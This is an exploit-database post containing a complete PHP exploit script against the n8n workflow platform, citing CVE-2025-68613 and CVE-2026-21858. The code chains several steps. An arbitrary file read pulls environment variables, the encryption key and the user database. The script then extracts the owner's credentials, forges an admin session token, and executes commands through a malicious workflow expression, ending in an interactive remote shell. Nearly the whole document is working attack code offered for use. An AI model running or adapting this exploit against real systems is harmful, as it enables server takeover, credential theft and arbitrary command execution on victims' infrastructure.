Share
## https://sploitus.com/exploit?id=PACKETSTORM:214620
=============================================================================================================================================
    | # Title     : n8n 2.0.0-rc.4 Full chain exploit vulnerability                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://docs.n8n.io/release-notes/                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858
    
    [+] Summary    : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).	
    
    [+] PoC : php poc.php
    
    <?php
    
    define('BANNER', "
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          โ•‘
    โ•‘     Arbitrary File Read โ†’ Token Forge โ†’ Sandbox Bypass โ†’ RCE  โ•‘
    โ•‘                                                               โ•‘
    โ•‘     by indoushka                                              โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    ");
    
    define('RCE_PAYLOAD', '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}');
    
    class Ni8mare {
        private $base_url;
        private $form_url;
        private $session;
        private $admin_token;
        
        public function __construct($base_url, $form_path) {
            $this->base_url = rtrim($base_url, '/');
            $this->form_url = $this->base_url . '/' . ltrim($form_path, '/');
            $this->session = $this->init_session();
            $this->admin_token = null;
        }
        
        private function init_session() {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)');
            return $ch;
        }
        
        private function close_session() {
            if ($this->session) {
                curl_close($this->session);
            }
        }
        
        private function randstr($n = 12) {
            $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $result = '';
            for ($i = 0; $i < $n; $i++) {
                $result .= $chars[random_int(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        private function randpos() {
            return [random_int(100, 600), random_int(100, 600)];
        }
        
        private function api($method, $path, $options = []) {
            $url = $this->base_url . $path;
            $ch = curl_init($url);
            
            $headers = ['Content-Type: application/json'];
            if ($this->admin_token) {
                $headers[] = 'Cookie: n8n-auth=' . $this->admin_token;
            }
            
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            if (isset($options['json'])) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json']));
            }
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code >= 200 && $http_code < 300) {
                return json_decode($response, true);
            }
            
            return null;
        }
        
        private function lfi_payload($filepath) {
            return [
                'data' => [],
                'files' => [
                    'f-' . $this->randstr(6) => [
                        'filepath' => $filepath,
                        'originalFilename' => $this->randstr(8) . '.bin',
                        'mimetype' => 'application/octet-stream',
                        'size' => random_int(10000, 100000)
                    ]
                ]
            ];
        }
        
        private function build_nodes($command) {
            $trigger_name = 'T-' . $this->randstr(8);
            $rce_name = 'R-' . $this->randstr(8);
            $result_var = 'v' . $this->randstr(6);
            $payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD);
            
            $nodes = [
                [
                    'parameters' => [],
                    'name' => $trigger_name,
                    'type' => 'n8n-nodes-base.manualTrigger',
                    'typeVersion' => 1,
                    'position' => $this->randpos(),
                    'id' => 't-' . $this->randstr(12)
                ],
                [
                    'parameters' => [
                        'values' => [
                            'string' => [[
                                'name' => $result_var,
                                'value' => $payload_value
                            ]]
                        ]
                    ],
                    'name' => $rce_name,
                    'type' => 'n8n-nodes-base.set',
                    'typeVersion' => 2,
                    'position' => $this->randpos(),
                    'id' => 'r-' . $this->randstr(12)
                ]
            ];
            
            $connections = [
                $trigger_name => [
                    'main' => [[
                        'node' => $rce_name,
                        'type' => 'main',
                        'index' => 0
                    ]]
                ]
            ];
            
            return [$nodes, $connections, $trigger_name, $rce_name];
        }
            
        public function read_file($filepath, $timeout = 30) {
            $payload = $this->lfi_payload($filepath);
            
            $ch = $this->session;
            curl_setopt($ch, CURLOPT_URL, $this->form_url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
            curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_HEADER, false);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            if ($http_code >= 200 && $http_code < 300 && !empty($response)) {
                return $response;
            }
            
            return null;
        }
        
        public function get_version() {
            $resp = $this->api('GET', '/rest/settings', ['timeout' => 10]);
            if (!$resp) {
                return ['0.0.0', false];
            }
            
            $version = $resp['data']['versionCli'] ?? '0.0.0';
            $parts = explode('.', $version);
            $major = intval($parts[0] ?? 0);
            $minor = intval($parts[1] ?? 0);
            
            $vuln = $major < 1 || ($major == 1 && $minor < 121);
            return [$version, $vuln];
        }
        
        public function get_home() {
            $data = $this->read_file('/proc/self/environ');
            if (!$data) {
                return null;
            }
            
            $vars = explode("\x00", $data);
            foreach ($vars as $var) {
                if (strpos($var, 'HOME=') === 0) {
                    return substr($var, 5);
                }
            }
            
            return null;
        }
        
        public function get_key($home) {
            $data = $this->read_file($home . '/.n8n/config');
            if (!$data) {
                return null;
            }
            
            $config = json_decode($data, true);
            return $config['encryptionKey'] ?? null;
        }
        
        public function get_db($home) {
            return $this->read_file($home . '/.n8n/database.sqlite', 120);
        }
        
        public function extract_admin($db) {
            $temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_');
            file_put_contents($temp_file, $db);
            
            try {
                $pdo = new PDO("sqlite:$temp_file");
                $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                
                $stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1");
                $row = $stmt->fetch(PDO::FETCH_ASSOC);
                
                unlink($temp_file);
                
                if ($row) {
                    return [$row['id'], $row['email'], $row['password']];
                }
            } catch (Exception $e) {
                if (file_exists($temp_file)) {
                    unlink($temp_file);
                }
            }
            
            return null;
        }
        
        public function forge_token($key, $uid, $email, $pw_hash) {
    
            $key_part = '';
            for ($i = 0; $i < strlen($key); $i += 2) {
                $key_part .= $key[$i];
            }
            
            $secret = hash('sha256', $key_part);
            $hash_input = $email . ':' . $pw_hash;
            $h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10);
    
            $header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
            $payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h]));
            $signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true));
            
            $this->admin_token = "$header.$payload.$signature";
            return $this->admin_token;
        }
        
        public function verify_token() {
            return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null;
        }
            
        public function rce($command) {
            list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command);
            $wf_name = 'wf-' . $this->randstr(16);
            
            $workflow = [
                'name' => $wf_name,
                'active' => false,
                'nodes' => $nodes,
                'connections' => $connections,
                'settings' => []
            ];
            
            $resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]);
            if (!$resp) {
                return null;
            }
            
            $wf_id = $resp['data']['id'] ?? null;
            if (!$wf_id) {
                return null;
            }
            
            $run_data = [
                'workflowData' => [
                    'id' => $wf_id,
                    'name' => $wf_name,
                    'active' => false,
                    'nodes' => $nodes,
                    'connections' => $connections,
                    'settings' => []
                ]
            ];
            
            $resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]);
            if (!$resp) {
                $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
                return null;
            }
            
            $exec_id = $resp['data']['executionId'] ?? null;
            $result = $exec_id ? $this->get_result($exec_id) : null;
            
            $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
            return $result;
        }
        
        private function get_result($exec_id) {
            $resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]);
            if (!$resp) {
                return null;
            }
            
            $data = $resp['data']['data'] ?? null;
            if (!$data) {
                return null;
            }
            
            // Handle both cases: string JSON or already decoded array
            if (is_string($data)) {
                $parsed = json_decode($data, true);
            } else {
                $parsed = $data;
            }
            
            if (!is_array($parsed)) {
                return null;
            }
            
            // Search for the result in reverse order
            for ($i = count($parsed) - 1; $i >= 0; $i--) {
                if (isset($parsed[$i]) && is_string($parsed[$i])) {
                    $item = $parsed[$i];
                    if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) {
                        return trim($item);
                    }
                }
            }
            
            return null;
        }
         
        public function pwn() {
            echo "[+] HOME directory... ";
            $home = $this->get_home();
            if (!$home) {
                echo "FAILED\n";
                return false;
            }
            echo "OK: $home\n";
            
            echo "[+] Encryption key... ";
            $key = $this->get_key($home);
            if (!$key) {
                echo "FAILED\n";
                return false;
            }
            echo "OK: " . substr($key, 0, 8) . "...\n";
            
            echo "[+] Database... ";
            $db = $this->get_db($home);
            if (!$db) {
                echo "FAILED\n";
                return false;
            }
            echo "OK: " . strlen($db) . " bytes\n";
            
            echo "[+] Admin user... ";
            $admin = $this->extract_admin($db);
            if (!$admin) {
                echo "FAILED\n";
                return false;
            }
            list($uid, $email, $pw) = $admin;
            echo "OK: $email\n";
            
            echo "[+] Token forge... ";
            $this->forge_token($key, $uid, $email, $pw);
            echo "OK\n";
            
            echo "[+] Admin access... ";
            if (!$this->verify_token()) {
                echo "DENIED\n";
                return false;
            }
            echo "GRANTED!\n";
            
            echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n";
            return true;
        }
        
        public function __destruct() {
            $this->close_session();
        }
    }
    
    function run_read($exploit, $path, $output = null) {
        $data = $exploit->read_file($path);
        if (!$data) {
            echo "[-] File read failed\n";
            return;
        }
        
        echo "[+] " . strlen($data) . " bytes\n";
        
        if ($output) {
            file_put_contents($output, $data);
            echo "[+] Saved to: $output\n";
            return;
        }
        
        echo $data . "\n";
    }
    
    function run_cmd($exploit, $cmd) {
        echo "[+] RCE... ";
        $out = $exploit->rce($cmd);
        if (!$out) {
            echo "FAILED\n";
            return;
        }
        echo "OK\n\n";
        echo $out . "\n";
    }
    
    function run_shell($exploit) {
        echo "[*] Interactive mode (type 'exit' to quit)\n";
        
        while (true) {
            echo "\033[91mn8n\033[0m> ";
            $cmd = trim(fgets(STDIN));
            
            if (empty($cmd) || $cmd === 'exit') {
                break;
            }
            
            $out = $exploit->rce($cmd);
            if ($out) {
                echo $out . "\n";
            }
        }
    }
    
    function parse_args() {
        global $argv;
        
        if (count($argv) < 3) {
            echo "Usage: php " . basename($argv[0]) . " <url> <form_path> [options]\n";
            echo "Options:\n";
            echo "  --read PATH     Read arbitrary file\n";
            echo "  --cmd CMD       Execute single command\n";
            echo "  --output FILE   Save LFI output to file\n";
            echo "\nExample:\n";
            echo "  php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n";
            echo "  php exploit.php http://localhost:5678 /form/upload --cmd id\n";
            echo "  php exploit.php http://localhost:5678 /form/upload\n";
            exit(1);
        }
        
        $args = [
            'url' => $argv[1],
            'form' => $argv[2],
            'read' => null,
            'cmd' => null,
            'output' => null
        ];
        
        for ($i = 3; $i < count($argv); $i++) {
            if ($argv[$i] === '--read' && isset($argv[$i + 1])) {
                $args['read'] = $argv[++$i];
            } elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) {
                $args['cmd'] = $argv[++$i];
            } elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) {
                $args['output'] = $argv[++$i];
            }
        }
        
        return $args;
    }
    
    function main() {
        echo BANNER . "\n";
        
        $args = parse_args();
        $exploit = new Ni8mare($args['url'], $args['form']);
        
        list($version, $vuln) = $exploit->get_version();
        echo "[*] Target: " . $args['url'] . "\n";
        echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n";
        
        if ($args['read']) {
            run_read($exploit, $args['read'], $args['output']);
            return;
        }
        
        if (!$exploit->pwn()) {
            return;
        }
        
        if ($args['cmd']) {
            run_cmd($exploit, $args['cmd']);
            return;
        }
        
        run_shell($exploit);
    }
    
    if (php_sapi_name() === 'cli') {
        main();
    } else {
        echo "This script must be run from command line\n";
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================